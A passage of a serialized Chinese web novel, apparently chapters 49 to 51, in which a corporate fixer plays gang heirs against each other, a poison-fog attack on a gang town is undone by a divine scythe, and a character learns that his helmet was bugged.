公司也不会有闲心给手底下的工具取名。那取名的人,就只可能是康内琉斯。
哈斯塔关上界面,将自己看到的画面大致同G8273描绘了一下:“……你觉得康内琉斯为什么给F2116取这种名字?”
“是想宣告,他打算将F2116作为一个新开始,开始大量创造仿生人?”
“还是F2116的确对于康内琉斯来说是特殊的,所以他才将这个具有特殊含义的名字赋予F2116?”
G8273一直抱着手臂站在卧室的北墙边,凝视墙上的大豁口。此时抬手修缮了破损,顺便将哈斯塔的Kingsize大床复原:“如果康内琉斯的确关注F2116,那他自然会找上门来。有F2116在院里,我们或许都不需要主动寻找康内琉斯。”
哈斯塔被走来的G8273抵着后退几步,跌坐在床上:“你在提议我们守株待兔?”
G8273倾身吻来,手掌没入哈斯塔胸口未系好的衣襟中,将他按倒在床上:
“游戏背后的人比我们着急。Ta会引导康内琉斯来找我们,就像当初Ta干扰我的迁跃,让我抵达这里一样。”
与此同时。
努里区。
天刚蒙蒙亮,还躺在床上酣睡的莫提默爵士迎来了一位身世显赫、但他并不想见的不速之客。
努里区的巡防安保由公司负责,这也意味着必要时刻,这些安保防线会向公司的掌权者无条件地敞开。
克拉克长驱直入进莫提默爵士的别墅,直接将这位议员先生从床上揪了起来:“我最近听到一些风声,说你准备放弃选举?”
莫提默爵士想翻脸的怒火在重度改造士兵的炮膛下迅速熄灭,冬晨的寒冷令只穿着单薄睡衣的他打起了哆嗦:
“你难道没有看那天的直播吗?那可是死神!谁敢再去招惹罗南那个疯婆娘?谁敢和死神为敌?不光是我,好几个参选议——呃!”
克拉克的枪口抵住了莫提默爵士的下颌,他手上用力,迫使冷得发抖,又吓得出了一身汗的莫提默爵士抬起头:“我没有注资给其他参选议员,他们退不退出,我不在乎。但你不能退出,没有人能在收了公司的好处后,随性所欲地撂挑子走人。”
“但、但那可是死神……!”莫提默爵士的底气在枪口炮膛下迅速泄光,他近乎恳求了,“难道你不害怕吗?如果我们继续触怒祂,祂找上门收割灵魂怎么办?”
克拉克无动于衷:“人总会死的。我不在意自己是死于车祸,还是死神的收割,但既然你我都还活着,这场选举你必须接着参加,至少不能让罗南胜选。”
罗南的行事作风并不疯,她是个沉稳的人。但她提出的每一项政策都让人发疯,譬如明令禁止人体实验,哪怕被试人自愿;譬如倒算……综合公司哪禁得起倒算?
克拉克垂下手,将手枪放在莫提默爵士面前的茶几上,上了膛的枪口正对着僵直的莫提默爵士:
“你可以选择,是继续参选,死在不知会不会到来的死神收割下,还是放弃参选,当天晚上就死于‘意外’。”
他礼貌地点头示意,起身离开别墅。上了悬浮车狂灌了一整壶黑咖啡,又紧跟着往缄默镇的方向赶。
今天的日程很紧,除了要在八点前见完所有需要见的人,他还得在八点后赶回公司,处理利奥代班搞得一团乱的公务。
这么想一想,克拉克有那么几秒甚至觉得死神的收割是个挺温柔的结局了,至少他从此能够安安心心地躺下休息,不用再动哪怕0.01%的大脑。
他在悬浮车上没抵抗住困意,小睡了十分钟。等车辆在缄默镇外围的咖啡馆门口停下,他才被助理机器人唤醒,顶着一张冷淡到看不出丝毫困意的脸步入咖啡厅。
等在这里的是西蒙·里约,整个小隔间都因为西蒙那张表情阴沉的脸而显得更加沉闷晦暗。
克拉克在内心双指交错,祈祷自己不会谈到一半困睡着,于西蒙对面落座:“我听闻一些小道消息,说老雷蒙德近期身体不适,迪思默帮很快就会迎来一场大变革?”
西蒙简直能用他的表情挑战“世界最阴沉的脸”的吉尼斯记录,并且他还在不断刷新下限:“我不喜欢你挑起的这个话题。直说吧,你找我做什么?”
“合作。”克拉克知道西蒙很有耐心,但这耐心一般只赏给猎物,他可不希望自己废话过久,导致西蒙在忍耐的过程中将他也当成猎物,
“公司可以提供辅助,帮你接过迪思默帮二代头目的荆冠。作为回报,你只需要切断迪思默帮和芬尼安、孤儿院之间的合作。”
窗槛打出的阴影像一面牢笼,西蒙在这牢笼似的光影下,阴森森地看他:“独占的蛋糕被人觊觎,感到危险了,‘克拉克’?”
西蒙刻意将克拉克的名字念得很重,透着明显的嘲讽,简直像在将这个单词当做克拉克本人在嘴里咀嚼:“别妄想了,公司的狗东西。和孤儿院的合作是老雷蒙德亲自谈下来的,他从未出错。我不可能为了一时之利,傻到忤逆他的决定。”
克拉克冷静地看他:“但你没有否认自己有接管迪思默帮的野心。”
“那也是我和老雷蒙德之间的事,没有公司插足的余地。”三句不离雷蒙德的西蒙眯起眼睛,“你又能怎么办呢?”
克拉克必须承认利奥对西蒙的daddy issue总结是对的,这变态玩意儿对老雷蒙德的态度已经扭曲到让他想再灌几口薄荷茶除除晦的程度:“那你可以赌一赌,你的另一位对手是否和你一样,与老雷蒙德‘亲密无间’,‘不容插足’。”
能不能成功合作不重要,克拉克来找迪思默帮的继任人见面的意图,只是为了搞分裂。
眼下老雷蒙德身负重疾,不会再有太多精力干涉外务,西蒙和珍妮再一直接干上,迪思默帮自顾不暇,那还能有心思维系和孤儿院的合作?
到时候公司在从外施加一些“推力”,很容易便能切断这脆弱的合作纽带。
克拉克耐着性子在西蒙心中种下忌惮和怀疑的祸根,尽量简短地在三分钟内结束拉扯,将人送走。
他在这家咖啡馆内又等待了将近三个小时,才在八点的教堂钟声敲响前,迎来了姗姗来迟、还打着哈欠的珍妮·斯坦。
“哦,克拉克先生。”这位大小姐丝毫不在意形象地伸着懒腰进门,歪歪斜斜地踩着困乏的脚步在克拉克对面坐下,“对我说一些有趣的事吧,否则我快要重新昏睡过去了。”
克拉克将半分钟前点好的热红茶推至珍妮·斯坦面前,友善地微笑:“刚刚的确发生了一件有趣的事。”
“事实上,向您发出的邀约,我同样也向西蒙·里约先生发出了,并且约好的时间都是今早五点。”
“有趣的是,真正准时赴约的只有全程阴沉狂吠的西蒙先生一个,反倒是珍妮小姐,懒懒散散地一迟到就是三个小时。”
“……”珍妮慵懒的笑容在克拉克将仍冒着热气的红茶推至自己面前时倏然消失,面无表情地盯着红茶的样子,仿佛克拉克推来的不是一杯茶饮,而是毒药。
事实也相差不远了——克拉克敢于向她和西蒙发出同样的邀约,却不怕撞车,甚至还能精准地预测到她会刻意拖延到什么时候赴约——对方推来的的确不是一杯简单的红茶,而是一种无声的展示:展示自己的能力,展示不必言明的威胁。
克拉克面对珍妮的策略更简单,他甚至没跟珍妮谈一句合作,只向珍妮灌输种种对西蒙的怀疑。
一通话术结束,克拉克满意地看到珍妮的眼底隐藏的疑虑,绅士地抬手,准备结单。
珍妮的手机忽地响起来,她脸色不怎么好看地接起:“什么事,我正忙——什么?老雷蒙德宣布了继任人???芬尼安?!亲外孙?!?”
这可完全改变了当下的局面!
继任人都已经宣布了,她和西蒙还斗什么玩意儿?斗也白斗。
“……”克拉克抬起的手又缓缓放了回去,算无遗漏的完美微笑裂了条缝。
他深呼吸了一口气,安慰自己意外总是难免的,迅速调整战略:“我记得芬尼安好像就是卢西亚诺·哈代先生?”
“这么巧,半年前他重新现身,先是通过身份认证,夺回了巴比伦的所属权,现在又验出他是老雷蒙德的亲外孙?”
冷静,冷静。不就是前脚刚劝分,后脚就得劝和吗?他能做到。
……该死,这点子也太背了!
反观对面的敌人,为什么总是顺风顺水?难道死神还兼具幸运之神的属性吗??
第50章 第 50 章 意外之余,又莫名觉得合……
命运就是个恶趣味的混账, 总喜欢看算无遗漏的人因为它的神来一笔倒霉出糗。
珍妮也享有同样的恶趣味,她看看面不改色自打脸的克拉克,原本还在因为刚听到的消息恼火, 现在又嗤笑出声:
“我敢打赌,你在大学期间一定参加过校际辩论, 说不准还替母校拿过奖。不然多浪费你的口才?”
克拉克的心在看清珍妮眼底的怒火后就定了下来, 依旧稳稳地坐在原处:“但一百句雄辩,也抵不过一个事实:老雷蒙德即将把迪思默帮交给一个身份可能存疑的人掌管。”
“不管这个人突然出现、突然邀请合作,又突然发现血缘关系的时机有多么古怪凑巧;不管你和西蒙·里约先生数十年如一日的忠诚拥趸——”
“至少在宣布之前,老雷蒙德该和你们提前告知一下吧?而不是让你还得从手下的口中得知自己被踢出局、芬尼安上位的消息。”
珍妮没接克拉克的话茬,只笔直地盯着克拉克, 眼神犀利得像一柄解剖刀:“我能看出你的目的, 话事人先生。你只是希望破坏我们正在进行的那项军火生意,因为那损害了你们公司的利益。”
“我无可否认,珍妮女士。因为那的确是事实。”
克拉克毫无动摇, 甚至重新微笑起来:“就像您现在一定在想,‘凭什么这个臭小子一回来,就可以无偿获得老雷蒙德拥有的一切?’”
“‘看看这家伙是怎么对待自己手底下的帮派的吧——赞恩帮, 被他全部杀死还丢进警署换赏金。涅槃帮, 现在天天在美食街、试吃摊丢人现眼。迪思默帮难道也要步上这样的后尘?’”
克拉克杀人诛心:“说不准, 老雷蒙德能来得及在去世之前亲自体验一把开试吃摊的快乐。”
“又或者, 在他的头年忌日, 您和西蒙·里约先生得挖空心思思考,如何向老雷蒙德墓碑解释迪思默帮变成‘后厨帮’的原因。”
“……”珍妮憋住了一口气,一直到驱赶克拉克滚蛋,她才飞快拿起手机拨通老雷蒙德的电话,“喂?——J?为什么是你接电话, 老雷蒙德先生呢?”
——雷蒙德先生正在接受另一场雷霆的试炼。
时间倒回五分钟前,老雷蒙德刚将决定继承权的消息传达下去。
刚过完平安夜就匆匆赶来缄默镇实践计划的芬尼安,错愕地瞪视皮革沙发上雷厉风行的老人:“我以为——你至少会怀疑一下这份检测报告,或者拒绝我提出的炸鱼计划?”
“哦,卢西。”老雷蒙德改昵称的速度之快,芬尼安一时都没反应过来,“是什么让你认为我会认不出我女儿的孩子?我眼睛上的白翳真的很严重吗?”
老雷蒙德说着说着,甚至真拿一旁的金质茶托照了一下镜子,芬尼安:“……你早知道??那为什么从没表现——呃。”
你说老雷蒙德没表现吧,芬尼安抵达缄默镇的第三天,就享受到了前所未有的特殊待遇。
但你说他表现了吧……要不是这份基因鉴定证明,芬尼安根本没在和老雷蒙德交流时,感受到任何端倪。
老狐狸是这样的,就好比现在,老雷蒙德能感受到芬尼安对于被当场扔个烫手山芋的抗拒,就表现得亲切又虚弱:
“我一直以为,维拉对帮派抗拒的态度,也传递给了你。”
“当年她会为了向我抗议而离家出走,数十年都不曾回头来看望我。我如今时日无多,又怎么敢随意试探你?”
“万一你也和你母亲一样转头离开,我哪还有第二个数十年等你回头?”
这话本是说来堵芬尼安的口,防止芬尼安说出“我只是让你宣布我也是候选人之一,小小的炸一下鱼塘,根本不是要继承迪思默啊”的。但说着说着,老雷蒙德蒙着白翳的眼睛的确湿润起来:
“我……从没想过,那一次摔门而出,真的会成为我见她的最后一面。”
“你知道吗?很多时候,我看着维拉出席巴比伦的各种新闻发布会,看她将视线像刀剑一样笔直地劈向镜头,我总觉得我们好像隔着镜头见过面了。”
“也许某一天,她会拿起手机主动联系我,也或许有一天,我会抛下肩膀上的责任,就带着一箱行李,离开迪思默帮,去努里区找她。”
维拉有自己的原则要遵守,他有自己的责任要尽。
数十年的光阴转瞬即逝,他在新闻上得知自己的外孙出生的消息,又在新闻上看见小卢西毫无阴霾地冲着镜头挥手的笑容,最后,新闻又替他送来了维拉的死讯。
老雷蒙德没让泪水流出来:“……我很抱歉我们终于相认,谈得却是让人伤心的话题。来说点有趣的吧?比如你之前问我为什么不拒绝你的……‘炸鱼计划’?”
同样的话题,老雷蒙德在独处时想过很多回,所以现在已经能够做到在短时间内整理好情绪,去引导手下的人继续前行:
“我的确能感知到近些年,帮内有些异动……你想要查出叛徒,我同样需要在自己进入坟墓前,替迪思默帮解决这个隐患。”
“嗯……关于这个。”芬尼安抬起手打断,“我认为你应该接受治疗,雷蒙德。”
他意识到谈论这个问题时,用另一个称呼可能效果更好,于是试探着换了句:“外公?”
老雷蒙德的脸上很短暂地露出一个有点傻的笑容,但下一瞬又绷回威严:“我已经活得够久,也该是时候去找你的母亲了。”
“但——”芬尼安本想说“母亲或许有机会救回来,院长许下承诺了”,想想又觉得不该拿还没影的事让外公徒增希望,“但你还没看到你的儿子成年,难道要我替你养我的舅舅?”
老雷蒙德没过脑子地继续反驳:“我——嗯??”
最后那一长段对于老雷蒙德来说过于小众的文字,终于慢半拍地滚过老雷蒙德的大脑。
老雷蒙德凝固在原处:“……”
几秒后,老雷蒙德:“你再说一遍?谁的儿子?”
一定是他外孙的儿子吧,哈哈,他如果抱重孙的话,或许是该设法多活几年……
芬尼安残忍地打破了他的自我安慰:“你的。你的儿子。我的舅舅。”
老雷蒙德又凝固了几秒,是岁月的砥砺令他维持住了镇静:“我已经九十岁了,芬尼安。”
“在你外婆去世后,我就没有再找过任何人。否则今天你也不会是我的唯一直系血亲,珍妮和西蒙只是我收养的孩子。”
芬尼安耸耸肩:“没人说亲生孩子不能无性繁殖,你知道这年头的研究所有多疯狂。”
老雷蒙德:“……”
高龄老人又一次被小众的文字击中:“恕我直言,我不认为那能算是我的儿子。”
芬尼安顿下掏手机的动作:“太好了,你不打算认他回来。那他就还是我同事的养子。”
“所以我的同事既是我的同事,也是我舅舅的父亲,也就是我的外公?”
真外公:“???”
老雷蒙德:“你就不能不认这个舅舅吗?”
“哦,上帝,当然不行。我是一个有原则的人,我必须认这个舅舅,还有这个养外公。”
芬尼安严肃得像在发什么童子军的誓约似的:“除非,你愿意在未来把胡斯卢认回来……?”
老雷蒙德:“……”
这都什么事儿啊!
他脾气上来正想说“那我也可以选择杀死你的同事”或者“我可以替你认回那什么胡斯卢,再接着去死”,书房的木门被人敲了两下。
私人管家的声音从外传来:“先生,有您的电话。”
老雷蒙德被外孙弄得无语的神情霎时一敛,皱着眉头语气严厉:“我说过,不论是珍妮还是西蒙的电话,在我出这个房间前都不打算接。”
“但老爷,这是来自同盟帮派的电话?说是凯撒帮不知为何忽然大肆进攻诺艾斯区,大有突破防线,进犯缄默镇的势头?”
芬尼安和老雷蒙德几乎同时抬头,看了眼对方:
有诺艾斯区做两帮之间的缓冲地带,凯撒帮如无完全把握,不会贸贸然大举进攻。
所以到底是什么事给了他们底气,认为此时进攻能够获胜?
老雷蒙德沉声道:“有人将我变更继承人的情报泄了出去,凯撒帮认为此时正是迪思默帮人心最不齐的时候,所以趁热打铁。”
老雷蒙德为情报的泄露感到不悦,但芬尼安只觉得瞌睡来了送枕头:“这是个好机会。泄密的人一定就是我们想炸的那条鱼!”
他兴冲冲便要往外走,路过老雷蒙德时,却被一只苍老的手拽了一下。
回过头,芬尼安看见老雷蒙德后知后觉地收回右手,几度开口,又似乎觉得不合适似的什么话都没说出来。
芬尼安忽然就明白了老雷蒙德心中的不安,在不良于行的外公面前大喇喇地蹲下:“我很快会回来,我保证。”
“你怎么保证?”直至这一刻,老雷蒙德才真正有些后悔,为什么自己不早些接受治疗。
假如他依旧健康,迪思默帮的权力交接根本不会引起人心动摇,更不会令外敌觉得有机可乘。
芬尼安像哄胡斯卢一样哄外公:“因为我是死神的眷属。”
“死亡只会与我同行,不会向我挥动镰刀。”
·
老雷蒙德不是胡斯卢,不会被一些中二语录煽动,他只会感到更加焦虑。比如“死神的眷属”是什么意思?小卢西是否为此向死神付出了什么代价?
但他并不是那种会在关键时节啰啰嗦嗦、耽搁时间的人,因此哈斯塔的计划还是照常执行。
上午10点整,现实世界的公司财政部门外。
哈斯塔因绿朱草突然要求会面,幸运地躲避了半天的工作。此时坐在门口的等候椅上,低着头刷线下APP,无视周围的财政部员工投来的敢怒不敢言的目光。
10:05,APP里的芬尼安小人整装待发。出乎哈斯塔意料的是,珍妮和西蒙小人竟都在队伍里,偶尔因为站位太近爆发争执:
“西蒙,你是处刑人,不是排头兵。正面战场有什么吸引你的地方?你居然只想着上前线,不想留下守卫老雷蒙德先生?这不像是你的作风啊?”
“闭嘴吧珍妮·斯坦,别话里有话想暗示什么。你我为什么上战场,彼此心知肚明……真要说的话,你这条忠犬难道不才该是留下守家的那一个?你有什么抛下心爱的主人,非得往诺艾斯区跑?”
两只胖乎乎的云朵气泡框代替主人嘭嘭地撞在一起打架,互相搓圆搓扁。场面一度滑稽又可爱,但哈斯塔却无心欣赏:
为什么没人选择留下?
他倒是不意外两人都想上前线的原因,毕竟芬尼安就在奔赴前线的队伍里,要想干掉这个没头没脑冒出来的“继承人”,这次热战必然是最好的机会。
但权衡利弊之下,应该也有人想留下才对?
毕竟为了对抗凯撒帮,缄默镇的绝大多数人手都被调离,这是一个再好不过的机会直接袭击老雷蒙德夺权。
皇帝都干倒了,还在乎前朝太子做什么?哪有人谋反,不冲着几乎无人守卫的皇帝去,光想着在大部队都在场、很可能会引发非议的情况下干掉太子?
即便刺杀成功又能怎样?对家难道不会把Ta动手的事向老雷蒙德揭发吗?到时候Ta该如何面对盛怒的老雷蒙德?
这跟全程替对手做嫁衣有何区别?
——除非。
这个犹大并不是眼里只有太子,而是两方面都做好了准备。
既然会选择不管缄默镇,亲自上战场,就说明对比“杀死雷蒙德”和“杀死芬尼安”,后者才是Ta认为更有难度、需要亲身到场的,而前者,Ta已做好了万全的准备,确定自己能够达成。
这信心从何而来?Ta人不在缄默镇,怎么确定老雷蒙德一定能被杀死?
哈斯塔忽然记起了敌人曾在孤儿院投放的那一波病毒。
于是,孤儿院里。正在军工厂摸鱼犯困,头一点一点的阿道夫忽然接到来自院长的调令,要求他乘坐最快的租车赶赴缄默镇。
当线下APP的视角随着芬尼安离开缄默镇时,阿道夫恰好赶到,在芬尼安的担保下直接进入老雷蒙德的书房,视角得以无缝衔接上。
10:25,芬尼安抵达战场。
10:30,APP里的芬尼安小人浑身浴番茄酱,突突喷烟花。一路平a放大的同时,不忘顺手救援/送出偶尔会遇到的无辜民众,完成战场事件1234……
哈斯塔每次一切换芬尼安的视角,就感觉自己在看速通玩家一命通关。
10:50,迪思默帮的队伍在芬尼安的带领下,几乎横扫战场。
临近尾声时,半身都挤着番茄酱的珍妮小人摇晃着靠近,冷不丁拔出一把茄子刀!噗呲扎向芬尼安小人!
“乒!”
远方高台上,西蒙小人单腿踩着台阶,手肘压在大腿上架狙,爱心形状的子弹瞬间出膛!
情况看似危急,但实则毫无,毕竟芬尼安即便躲不过攻击,也有哈斯塔的庇护在身上。
相比之下,老雷蒙德这边的情况危急多了:
有刺客突然撞破老雷蒙德的书房窗户,落入书房。虽然被阿道夫轻松击杀,但窗口豁洞处,却有稀薄的白雾缓缓灌入。
哈斯塔反映的很快:【有毒雾!】
不用看院长发来的信息,久经战场的阿道夫也能察觉到危机。
他一把扯下死去刺客脸上的过滤面具,给老雷蒙德戴上,刚搀扶着老雷蒙德起身,准备进入毒雾难以渗透的秘密地下层,老雷蒙德却忽地摇晃了一下身体,猛然发出作呕的声音!
老雷蒙德的面部皮肤以肉眼可见的速度开始发红、溃烂,阿道夫抓着老雷蒙德浑身一僵:“……晚了。”
正面战场上,芬尼安一手按住珍妮攥着匕首的手腕,带着人向侧扑倒,西蒙的狙.击仅仅擦破他的衣袖,便无声没入土地。
缄默镇内。
纯白的雾浓郁得像炼乳,在镇内各处流淌。
一个接一个留守的人、普通镇民在错愕中四肢骤然脱力,无法控制地倒下。
病毒侵蚀□□是极端疼痛的,像有人拿着无数柄手术刀,对着皮肤、内脏划割,直至将某一片彻底割烂成一片溃口,血和肉从掉落的皮肤下暴露出来。
呻.吟、哀嚎、恸哭,在眨眼间代替平素的庄穆静谧,笼罩住整个缄默镇。
在绝望之际,他们忽地看见一种常人无法想象的异相,从天际垂落:
那是一柄巨大到看不见柄身,仅能看见镰刃的深褐色巨镰。
镰尖在他们近乎停止呼吸的注视中缓缓抬起,如同死神的尖甲一般,缓缓从缄默镇的南方,一直划向北方。那些带来痛苦和死亡的浓雾,竟就在这尖甲的划拨间,嗤然消散。
10:55。芬尼安一手提着晕厥的珍妮,一手提着鼻青脸肿的西蒙,领着同他经历过一场厮杀、士气空前高涨的迪思默帮众启程折返。
10:59。老雷蒙德在弥留之际,忽地感觉一团暖流重新涌入冰冷的胸口。就像人在回光返照时,会诞生的那种生命力重新灌入躯壳的美好错觉:“卢西……”
没有卢西,芬尼安还在回程的路上。
老雷蒙德缓缓睁眼,只看见破漏的窗户外,一柄巨大的垂天之镰正缓缓收起,就像有高居于云层之上的神明正收回垂恩之手。
窗外逐渐响起人们惊喜又自我怀疑的低喊:
“不痛了……?不痛了!!伤口开始愈合了!”
“哦上帝保佑……不不!死神保佑!我还以为我就要死在今天了……”
“那真是死神吗?为什么会出现在我们的地盘救我们?**!躲进教堂根本没用,那毒雾就是从教堂顶端的十字架上溢出来的!”
“……?”老雷蒙德从杂乱的低喊中汲取到了某些不敢相信的资讯。
他猛地抬手,看见自己手背上那大片的溃烂,果然已生出嫩红的新肉,他刚刚感受到的生命力重新灌入躯壳的温暖,不是美好的错觉!
屏幕内,死里逃生的人们喜笑颜开。
屏幕外,刚完成一场高难度版·灰姑娘捡豆子的哈斯塔只想揉揉酸胀的眼睛。
但面前的办公室大门恰好打开,一堆抱着半人高财务报表的员工们鱼贯而出。
绿朱草跟在最后停在门边,疲倦的脸上顶着两个大黑眼圈,但仍冲他微笑着点点头:“久等了。”
哈斯塔觉得绿朱草这时间掐得还蛮好的,但凡早几分钟,他这局捡豆子都打不完:“你说有事想跟我谈谈?”
“……”绿朱草的手搭在门把手上,显出几分犹豫,“我们出去走走吧?边走边聊。”
这句式哈斯塔很熟悉,也有些久违了。
在绿朱草尚未执掌财政部前,绿朱草常以这两句话开启一段需要避开监听的对话。
但掌权之后,财政部就是绿朱草自己的地盘,所以绿朱草并不会再刻意寻找别的地方,往往都是直接在办公室同他商谈。
旧话重提,哈斯塔很难不怀疑绿朱草究竟想规避谁的耳目,是老板?还是那些和他同等级的同僚们的?财政部进竞争对手的细作了?
他们坐着电梯下楼,又走向公司后方的大片绿化区。
路途中,哈斯塔放任自己的思绪漫无目的地胡乱联想,一时想起之前老板给他提供的建议,一时又在想因为沉迷游戏,很久没一起闲谈过的绿朱草。
他有时觉得绿朱草是个挺有意思的人。
谈论机密事务会选在财政部办公室里谈,说明绿朱草打心底里认为财政部就是自己的地盘。
但聊天闲侃时,绿朱草的话语又表现得和财政部不是一路人,就像过去那些旧日子从未逝去一样……还是他跟绿朱草两个人,并肩对抗不断来找茬的研究中心、财政部,对抗整个公司和世界。
公司的绿化区有75%都是郁郁葱葱的复原树木,开阔的草地仅占很小的一部分。
但总面积摆在这儿,想防止周围有人窃听,这么几百平方米的开阔地已经足够了:
“我找你来,主要有两件事想跟说。都和……我想避开的那位有关。”
“?”哈斯塔不知道绿朱草有什么好满面焦虑的,难不成他之前在下班时候骚扰……不是,请教老板问题,引得老板不满记仇,准备给他穿小鞋了?
绿朱草忧虑地看着他:“一件是你的那些队友。”
“一般来说,和你同行的搭档都是由我指定。但之前那次刺杀事故后,你身边的人事安排权重新被人事部拿了回去,我花了很长时间才避开耳目,将那些人的情报检查了一遍……”
绿朱草闭了下眼睛,似乎有些不知道该如何开口:“但检查的结果是,我没有在公司的任何成员名单上看见他们的名字,也没有找到他们的任何资料。他们简直就像一队幽灵……”
“但幽灵怎么可能如此光明正大地和你搭档呢?人事部怎么可能如此疏忽大意呢?”
综合下来,绿朱草只能得出一个结论:“他们或许是老板秘密供养的部队,假借了隔壁部门成员的身份。”
“……”哈斯塔意外之余,又莫名觉得合乎情理。
之前一些无法理解的事,都得到了可以说得通的解释:
比如公司成员怎么可能荒诞大胆到为了了解他的饮食偏好,就夜袭研究中心?
这些人好说话到不像能在公司里活下来,为什么还能混到现在?
他们身上那些挥之不去的谎言静风带里,究竟隐藏着哪些不能对他言说的事情?
现在唯一的疑问是:Z小队的格外友善,究竟是出于真心,还是出于老板的授意,看似是友善,实则是看管、防止他再次失控?
……Z小队查到了潘多拉魔盒的影像,那老板呢?老板知道了吗?
“还有一件事。”绿朱草观察着他的神色,语气称得上小心翼翼了,“之前那个被你撑坏的旧头盔,我让人回收回来处理掉时,他们告诉我……头盔里有安插用于监视数据的部件,但是暂未查出究竟是哪一方做的手脚。”
一般来说,哈斯塔会优先怀疑产出头盔的研究中心。但绿朱草在这次谈话前已经言明了,两件事都和“想避开的那位”有关:
“——你认为是老板动的手脚?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
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第51章 第 51 章 那段影像,能发给我看看……
绿朱草并没有给出确定的答复:“这只是个推论。在我发觉头盔里藏着的问题后不久, 老板办公室来人说想要取走头盔,进行一些‘基础检查’,被我以‘废弃物品已经处理掉了’为由, 拒绝了回去。”
这可以说成是做贼心虚、事后的扫尾,但也可以说老板的确只是谨慎起见。
只是对头盔动的手脚, 如果不是老板做的, 公司里还有谁能有这样的能力,把手伸到研发中心里去?还是说,研发中心至今仍觊觎着哈斯塔,所以在送来的头盔里安插了监测功能?
他正思考着,绿朱草忽然靠近几步, 拍了拍他的肩膀。先是小声地说了句“多加小心”, 而后恢复正常音量,语中含笑道:
“别想着在我这儿继续摸鱼了,看!你的队友来找你了。”
技术员T熟悉的嬉皮笑脸的声音从后方远处传来:“哦别让我们打扰你们的谈话!只是今天的任务结束得早, 所以队长带我们回来尝尝公司食堂的高档窗口,我就想说喊哈斯塔一起唔唔唔!”
队友们七手八脚地按住这只聒噪的大喇叭。
队长一边用手臂勒着T的脖子把人往远处拖,一边尴尬地冲绿朱草点头:“抱歉, 这家伙就是缺根神经。你们如果还没聊完, 请不要在意……”
哈斯塔看着打闹成一团的队友们, 觉得如果这些鲜活的反应都只是伪装表演, 那他真是再也不能轻易相信公司里的任何人了。
但他没有因为这些想法迟疑或退缩, 下一秒就大步走向队友:“不,我们聊完了。”
绿朱草显然并不想和这群档案空白的人多打交道,礼貌点头后就转身离开。
队长Z则在松开快翻白眼的T后,无视这活宝委屈巴巴的呛咳,迅速扫了眼绿朱草远去的背影, 才慎重地看回哈斯塔:“其实我们来找你,是有另一件事想问。”
“还记得之前说过的那个匣子状装置吗?在华生博士的实验室桌上放置的那个?”
“?”哈斯塔心想怎么可能不记得,这一个月来他净围着潘多拉魔盒打转了,“你们有进展了?”
“呃……”队长Z尴尬地搓了搓手,似乎知道接下来的话不太好说,“抱歉,我们没能找到那东西的任何资料……所以才想来问问你,你介不介意我们把这个问题反馈给我们的上级?”
“……?”哈斯塔不由地侧目。
这还真是超出他预料的回答,难道潘多拉魔盒的事,Z还没来得及跟老板汇报?
换而言之,老板应该还不知道潘多拉魔盒的存在?
哈斯塔心中过着各种思考,慢吞吞道:“如果我说介意呢?”
“那我们尊重你的选择。”Z投来的目光温吞而可靠,有时候哈斯塔都好奇这人有没有生气的时候,“毕竟这是你的私事,我们也只是代为调查。”
哈斯塔没有闻到谎言的味道。至少在这件事上,Z没有说谎。
久违的内心声音冷不丁地幽幽响起:*为什么不告诉老板呢,哈斯塔?也许他能替我们扫平一切本不该烦恼的事情……*
[然后老板会怎么处理潘多拉魔盒?丢给研发中心?自己独占?]
哈斯塔感到不快:[祂或许有独立意识,也许是和我一样的非人类,甚至祂还孕育了我。不论是从理性角度考量,还是从感性角度出发,我都不能让祂落入任何人手中。]
[我会……]
会怎么做呢?带魔盒前往其他世界?难道其他世界就不存在会觊觎魔盒的人了吗?
隐约间,哈斯塔似乎听到了一声叹息,但仔细回想,又觉得那或许是林间的风。
他几乎要因为这一瞬的错觉竖起一身的寒毛,但紧接着他意识到自己现在不是人类的形态,没有寒毛可竖。
倒是一旁的T狠狠打了个喷嚏,搓着手臂催促:“快快,快去食堂。这大冷天的站在空地上吹风,我要是病倒了看你们谁能帮我加班!”
与此同时。
“游戏”内。
芬尼安领着帮派成员凯旋,在进入缄默镇时就察觉不对。他一把拽住匆匆过路的迪思默帮帮众:“地上怎么那么多血污——你脸上这些疤是怎么回事?!”
被他拽住的帮众战战兢兢,结巴着将芬尼安离开期间,缄默镇内发生的一切飞快说了一遍:“……然后,死神的镰刃就在天上出现了,就在那——”
芬尼安在听说“有人在缄默镇释放毒气,老雷蒙德可能中招”后就气血上涌,不等帮众说完,就一把将人推开,大步走向老雷蒙德的居所。
粗暴地破门而入时,老雷蒙德正在处理缄默镇内乱的后续事宜:
“……搜查近一年前后,都有谁靠近过教堂,尤其是教堂屋顶。还有那些地上的血污,立刻叫人打扫干净!”
得到指令的帮众立即领命离开。
芬尼安左右看了一下,没找到阿道夫的身影,只能逼上前几步:“毒雾是怎么回事?!院长有没有治好你?”
老雷蒙德却没有回答芬尼安的问题,只用那双锐利的眼睛深深看了眼芬尼安:“治好又怎样?不治好又怎样?告诉我,芬尼安,你付出了什么代价?”
“?”这老头在说什么呢,芬尼安一时没转过弯子,“我在问你身上的病毒有没有被治好。”
老雷蒙德没有松口:“我在问你成为‘死神的眷属’,让祂来救人,你付出了什么代价?”
迪思默家族一脉相传的倔脾气和暴躁在祖孙俩身上体现的淋漓尽致,不难想象当初维拉·迪思默是如何与老雷蒙德说着互相关心的话,结果吵得数十年不再相见的。
但好在今时不同往日,差点经历第二次失去的老雷蒙德不再像过去的自己一样倔强,芬尼安也因为每天教养胡斯卢,比从前更有耐心。
在争执的硝烟即将燃起前,他们几乎同时开口:
芬尼安:“我在担心你,外公。”
老雷蒙德:“你让我很担心,卢西。”
两人打完自己的直球,又被对方的直球硬控住不知所措。半晌还是老雷蒙德先干咳了一声:“就像你看到的这样,我身上的病毒已经被死神治愈了……也许还连带着皮肤癌细胞。”
“——?!”芬尼安顿时一阵意料之外的狂喜!
赞美院长!赞美蛋黄水母!如果院长在这儿,他高低得像举辛巴那样举起蛋黄水母——噢,不对。差点忘了。现在院长有人形了,比他还高个二十厘米……那没事了。
芬尼安这一番先激动惊喜,又突然丧眉搭眼的神情变动落入老雷蒙德的眼中,俨然又成了“卢西一定付出了很大的代价”的证据:“告诉我,卢西。你究竟和死神做了什么交易?”
如果不是刚经历一场生死离别,差点没法再见到芬尼安,老雷蒙德的态度绝对不会像现在一样温和,仅仅是加重咬字。
即便如此,他内心如今也压着极大的火气:“为什么?你还这么年轻,怎么能为了我做这么……”他忍了又忍,把愚蠢两个字吞回去,“这么不值当的交易?”
